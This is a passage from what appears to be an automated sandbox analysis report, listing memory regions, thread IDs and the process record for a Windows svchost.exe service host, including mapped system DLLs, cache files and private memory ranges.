"c:\\windows\\system32\\textinputframework.dll") Region: id = 391 start_va = 0x7fffc7600000 end_va = 0x7fffc7959fff monitored = 0 entry_point = 0x7fffc7682d50 region_type = mapped_file name = "coreuicomponents.dll" filename = "\\Windows\\System32\\CoreUIComponents.dll" (normalized: "c:\\windows\\system32\\coreuicomponents.dll") Region: id = 392 start_va = 0x7fffc7960000 end_va = 0x7fffc7a51fff monitored = 0 entry_point = 0x7fffc79b70f0 region_type = mapped_file name = "coremessaging.dll" filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll") Region: id = 393 start_va = 0x7fffcc020000 end_va = 0x7fffcc08afff monitored = 0 entry_point = 0x7fffcc034300 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 394 start_va = 0x7fffc9000000 end_va = 0x7fffc9032fff monitored = 0 entry_point = 0x7fffc9006930 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 395 start_va = 0x7fffc6f30000 end_va = 0x7fffc7085fff monitored = 0 entry_point = 0x7fffc6f5b240 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 396 start_va = 0x43b0000 end_va = 0x44affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043b0000" filename = "" Region: id = 397 start_va = 0x680000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 398 start_va = 0x7fffcbae0000 end_va = 0x7fffcbb87fff monitored = 0 entry_point = 0x7fffcbafd990 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 399 start_va = 0x6a0000 end_va = 0x6a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 402 start_va = 0x44b0000 end_va = 0x452ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044b0000" filename = "" Region: id = 1842 start_va = 0x4530000 end_va = 0x45affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004530000" filename = "" Thread: id = 2 os_tid = 0x16bc Thread: id = 3 os_tid = 0x16cc Thread: id = 4 os_tid = 0x16d0 Thread: id = 5 os_tid = 0x16d8 Thread: id = 6 os_tid = 0x16f0 Thread: id = 7 os_tid = 0x16f4 Thread: id = 8 os_tid = 0x13f0 Thread: id = 147 os_tid = 0x288 Process: id = "3" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x406b5000" os_pid = "0x8" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x264" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs -p" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "S-1-5-80-2949785411-1458004381-4011503523-1439849274-3428788682" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "S-1-5-80-1139522462-2689595747-457373284-4037083511-4201549542" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "S-1-5-80-3577588319-513283748-931039988-2701962192-2148388740" [0xa], "NT SERVICE\\WpnService" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000bdae" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 511 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 512 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 513 start_va = 0x30000 end_va = 0x4cfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 514 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 515 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 516 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 517 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 518 start_va = 0x100000 end_va = 0x108fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 519 start_va = 0x110000 end_va = 0x1d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 520 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 521 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 522 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 523 start_va = 0x400000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 524 start_va = 0x600000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 525 start_va = 0x680000 end_va = 0x688fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 526 start_va = 0x690000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 527 start_va = 0x890000 end_va = 0x897fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 528 start_va = 0x8a0000 end_va = 0xa20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 529 start_va = 0xa30000 end_va = 0xaf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a30000" filename = "" Region: id = 530 start_va = 0xb00000 end_va = 0xb00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 531 start_va = 0xb10000 end_va = 0xb18fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 532 start_va = 0xb20000 end_va = 0xb20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b20000" filename = "" Region: id = 533 start_va = 0xb30000 end_va = 0xb30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b30000" filename = "" Region: id = 534 start_va = 0xb40000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 535 start_va = 0xbc0000 end_va = 0xbc1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bc0000" filename = "" Region: id = 536 start_va = 0xbd0000 end_va = 0xbd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 537 start_va = 0xbe0000 end_va = 0xbe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 538 start_va = 0xbf0000 end_va = 0xbfcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 539 start_va = 0xc00000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 540 start_va = 0xe00000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 541 start_va = 0xf00000 end_va = 0x1237fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 542 start_va = 0x1240000 end_va = 0x133ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 543 start_va = 0x1340000 end_va = 0x143ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001340000" filename = "" Region: id = 544 start_va = 0x1440000 end_va = 0x153ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 545 start_va = 0x1540000 end_va = 0x15bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 546 start_va = 0x15c0000 end_va = 0x15c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015c0000" filename = "" Region: id = 547 start_va = 0x15d0000 end_va = 0x15d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 548 start_va = 0x15e0000 end_va = 0x15e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 549 start_va = 0x15f0000 end_va = 0x15fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 550 start_va = 0x1600000 end_va = 0x17fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001600000" filename = "" Region: id = 551 start_va = 0x1800000 end_va = 0x18fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 552 start_va = 0x1900000 end_va = 0x19fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 553 start_va = 0x1a00000 end_va = 0x1afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 554 start_va = 0x1b00000 end_va = 0x1bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 555 start_va = 0x1c00000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 556 start_va = 0x1d00000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 557 start_va = 0x1e00000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 558 start_va = 0x1f00000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 559 start_va = 0x1f80000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 560 start_va = 0x2080000 end_va = 0x20c8fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000001.db") Region: id = 561 start_va = 0x20d0000 end_va = 0x216bfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 562 start_va = 0x2170000 end_va = 0x217cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 563 start_va = 0x2180000 end_va = 0x2180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 564 start_va = 0x2190000 end_va = 0x2190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002190000" filename = "" Region: id = 565 start_va = 0x21a0000 end_va = 0x21a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 566 start_va = 0x21b0000 end_va = 0x21b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000021b0000" filename = "" Region: id = 567 start_va = 0x21c0000 end_va = 0x21d5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 568 start_va = 0x21e0000 end_va = 0x21e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 569 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 570 start_va = 0x2200000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 571 start_va = 0x2400000 end_va = 0x247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 572 start_va = 0x2480000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 573 start_va = 0x2580000 end_va = 0x25fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 574 start_va = 0x2600000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 575 start_va = 0x2700000 end_va = 0x27fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 576 start_va = 0x2800000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 577 start_va = 0x2900000 end_va = 0x297ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 578 start_va = 0x2980000 end_va = 0x2981fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wldap32.dll.mui" filename = "\\Windows\\System32\\en-US\\wldap32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wldap32.dll.mui") Region: id = 579 start_va = 0x2990000 end_va = 0x2991fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 580 start_va = 0x29a0000 end_va = 0x29a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000029a0000" filename = "" Region: id = 581 start_va = 0x29b0000 end_va = 0x29b7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 582 start_va = 0x29c0000 end_va = 0x29c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000029c0000" filename = "" Region: id = 583 start_va = 0x29d0000 end_va = 0x29d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 584 start_va = 0x29e0000 end_va = 0x29e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 585 start_va = 0x29f0000 end_va = 0x29fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 586 start_va = 0x2a00000 end_va = 0x2a00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\System32\\netmsg.dll" (normalized: "c:\\windows\\system32\\netmsg.dll") Region: id = 587 start_va = 0x2a10000 end_va = 0x2a41fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll.mui" filename = "\\Windows\\System32\\en-US\\netmsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netmsg.dll.mui") Region: id = 588 start_va = 0x2a50000 end_va = 0x2a50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a50000" filename = "" Region: id = 589 start_va = 0x2a60000 end_va = 0x2a60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a60000" filename = "" Region: id = 590 start_va = 0x2a70000 end_va = 0x2a73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 591 start_va = 0x2a80000 end_va = 0x2b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 592 start_va = 0x2b80000 end_va = 0x2c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b80000" filename = "" Region: id = 593 start_va = 0x2c80000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c80000" filename = "" Region: id = 594 start_va = 0x2d00000 end_va = 0x2dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 595 start_va = 0x2e00000 end_va = 0x2efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 596 start_va = 0x2f00000 end_va = 0x2ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f00000" filename = "" Region: id = 597 start_va = 0x3000000 end_va = 0x30fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 598 start_va = 0x3100000 end_va = 0x31fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 599 start_va = 0x3200000 end_va = 0x333efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 600 start_va = 0x3340000 end_va = 0x343ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003340000" filename = "" Region: id = 601 start_va = 0x3440000 end_va = 0x353ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003440000" filename = "" Region: id = 602 start_va = 0x3540000 end_va = 0x363ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003540000" filename = "" Region: id = 603 start_va = 0x3640000 end_va = 0x373ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003640000" filename = "" Region: id = 604 start_va = 0x3740000 end_va = 0x3786fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003740000" filename = "" Region: id = 605 start_va = 0x3790000 end_va = 0x3790fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003790000" filename = "" Region: id = 606 start_va = 0x37a0000 end_va = 0x37a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui") Region: id = 607 start_va = 0x37b0000 end_va = 0x37b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wosc.dll.mui" filename = "\\Windows\\System32\\en-US\\wosc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wosc.dll.mui") Region: id = 608 start_va = 0x37c0000 end_va = 0x37c9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui") Region: id = 609 start_va = 0x37d0000 end_va = 0x37d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shcore.dll.mui" filename = "\\Windows\\System32\\en-US\\SHCore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\shcore.dll.mui") Region: id = 610 start_va = 0x37e0000 end_va = 0x37e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000037e0000" filename = "" Region: id = 611 start_va = 0x37f0000 end_va = 0x37f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000037f0000" filename = "" Region: id = 612 start_va = 0x3800000 end_va = 0x39fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003800000" filename = "" Region: id = 613 start_va = 0x3a00000 end_va = 0x3afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a00000" filename = "" Region: id = 614 start_va = 0x3b00000 end_va = 0x3b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b00000" filename = "" Region: id = 615 start_va = 0x3b80000 end_va = 0x3c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b80000" filename = "" Region: id = 616 start_va = 0x3c80000 end_va = 0x3d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c80000" filename = "" Region: id = 617 start_va = 0x3d80000 end_va = 0x3e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d80000" filename = "" Region: id = 618 start_va = 0x3e80000 end_va = 0x3f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e80000" filename = "" Region: id = 619 start_va = 0x3f80000 end_va = 0x3f89fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "combase.dll.mui" filename = "\\Windows\\System32\\en-US\\combase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\combase.dll.mui") Region: id = 620 start_va = 0x3f90000 end_va = 0x3fa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f90000" filename = "" Region: id = 621 start_va = 0x3fb0000 end_va = 0x3fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fb0000" filename = "" Region: id = 622 start_va = 0x3fc0000 end_va = 0x3fc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\usosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\usosvc.dll.mui") Region: id = 623 start_va = 0x3fd0000 end_va = 0x3fd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fd0000" filename = "" Region: id = 624 start_va = 0x3fe0000 end_va = 0x3fe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fe0000" filename = "" Region: id = 625 start_va = 0x3ff0000 end_va = 0x3ff3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ff0000" filename = "" Region: id = 626 start_va = 0x4000000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 627 start_va = 0x4200000 end_va = 0x42fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 628 start_va = 0x4300000 end_va = 0x43fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 629 start_va = 0x4400000 end_va = 0x447ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 630 start_va = 0x4480000 end_va = 0x44fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004480000" filename = "" Region: id = 631 start_va = 0x4500000 end_va = 0x45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004500000" filename = "" Region: id = 632 start_va = 0x4600000 end_va = 0x46fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 633 start_va = 0x4700000 end_va = 0x47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004700000" filename = "" Region: id = 634 start_va = 0x4800000 end_va = 0x487ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004800000" filename = "" Region: id = 635 start_va = 0x4880000 end_va = 0x497ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004880000" filename = "" Region: id = 636 start_va = 0x4980000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004980000" filename = "" Region: id = 637 start_va = 0x4a00000 end_va = 0x4bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 638 start_va = 0x4c00000 end_va = 0x4dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c00000" filename = "" Region: id = 639 start_va = 0x4e00000 end_va = 0x4efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 640 start_va = 0x4f00000 end_va = 0x4ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f00000" filename = "" Region: id = 641 start_va = 0x5000000 end_va = 0x508ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005000000" filename = "" Region: id = 642 start_va = 0x5090000 end_va = 0x518ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005090000" filename = "" Region: id = 643 start_va = 0x5190000 end_va = 0x528ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005190000" filename = "" Region: id = 644 start_va = 0x5290000 end_va = 0x529ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005290000" filename = "" Region: id = 645 start_va = 0x52a0000 end_va = 0x52affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000052a0000" filename = "" Region: id = 646 start_va = 0x52b0000 end_va = 0x52bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000052b0000" filename = "" Region: id = 647 start_va = 0x52c0000 end_va = 0x52cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000052c0000" filename = "" Region: id = 648 start_va = 0x52d0000 end_va = 0x52dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000052d0000" filename = "" Region: id = 649 start_va = 0x52e0000 end_va = 0x52effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000052e0000" filename = "" Region: id = 650 start_va = 0x52f0000 end_va = 0x536ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000052f0000" filename = "" Region: id = 651 start_va = 0x5370000 end_va = 0x537ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005370000" filename = "" Region: id = 652 start_va = 0x5380000 end_va = 0x538ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005380000" filename = "" Region: id = 653 start_va = 0x5390000 end_va = 0x539ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005390000" filename = "" Region: id = 654 start_va = 0x53a0000 end_va = 0x53affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000053a0000" filename = "" Region: id = 655 start_va = 0x53b0000 end_va = 0x53bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000053b0000" filename = "" Region: id = 656 start_va = 0x53c0000 end_va = 0x53cffff monitored = 1 